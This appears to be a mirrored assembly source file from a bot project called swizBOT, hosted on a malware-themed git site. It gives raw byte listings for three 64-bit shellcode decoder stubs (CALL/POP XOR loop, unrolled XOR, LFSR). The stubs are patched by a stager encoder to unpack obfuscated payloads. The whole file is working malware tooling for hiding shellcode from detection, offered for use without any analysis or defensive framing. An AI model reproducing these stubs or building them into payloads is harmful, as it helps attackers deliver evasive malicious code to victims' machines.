mirror of
https://git.churchofmalware.org/ek0mssavi0r/swizBOT
synced 2026-09-24 08:34:38 +00:00
24 lines
918 B
NASM
24 lines
918 B
NASM
; swizBOT decoder listing - 64-bit
|
|
; CALL/POP XOR decoder family (Jake Swiz technique)
|
|
; Placeholder bytes are 0xCC and are patched by stager/encoder.py.
|
|
; Verify: nasm -f bin decoder_x64.asm && compare with encoder output
|
|
|
|
BITS 64
|
|
|
|
stub_xor_loop:
|
|
db 0xeb, 0x11, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x80, 0x36, 0xcc, 0x48, 0xff, 0xc6, 0xe2
|
|
db 0xf8, 0xeb, 0x05, 0xe8, 0xea, 0xff, 0xff, 0xff
|
|
stub_xor_loop_end:
|
|
|
|
stub_xor_unrolled:
|
|
db 0xeb, 0x11, 0x5e, 0x31, 0xc0, 0xb0, 0xcc, 0x80, 0x36, 0xcc, 0x48, 0xff, 0xc6, 0xfe, 0xc8, 0x75
|
|
db 0xf6, 0xeb, 0x05, 0xe8, 0xea, 0xff, 0xff, 0xff
|
|
stub_xor_unrolled_end:
|
|
|
|
stub_lfsr_loop:
|
|
db 0xeb, 0x21, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x31, 0xd2, 0xba, 0xcc, 0xcc, 0xcc, 0xcc
|
|
db 0x30, 0x16, 0xd1, 0xea, 0x73, 0x06, 0x81, 0xf2, 0x03, 0x00, 0x20, 0x80, 0x48, 0xff, 0xc6, 0xe2
|
|
db 0xef, 0xeb, 0x05, 0xe8, 0xda, 0xff, 0xff, 0xff
|
|
stub_lfsr_loop_end:
|
|
|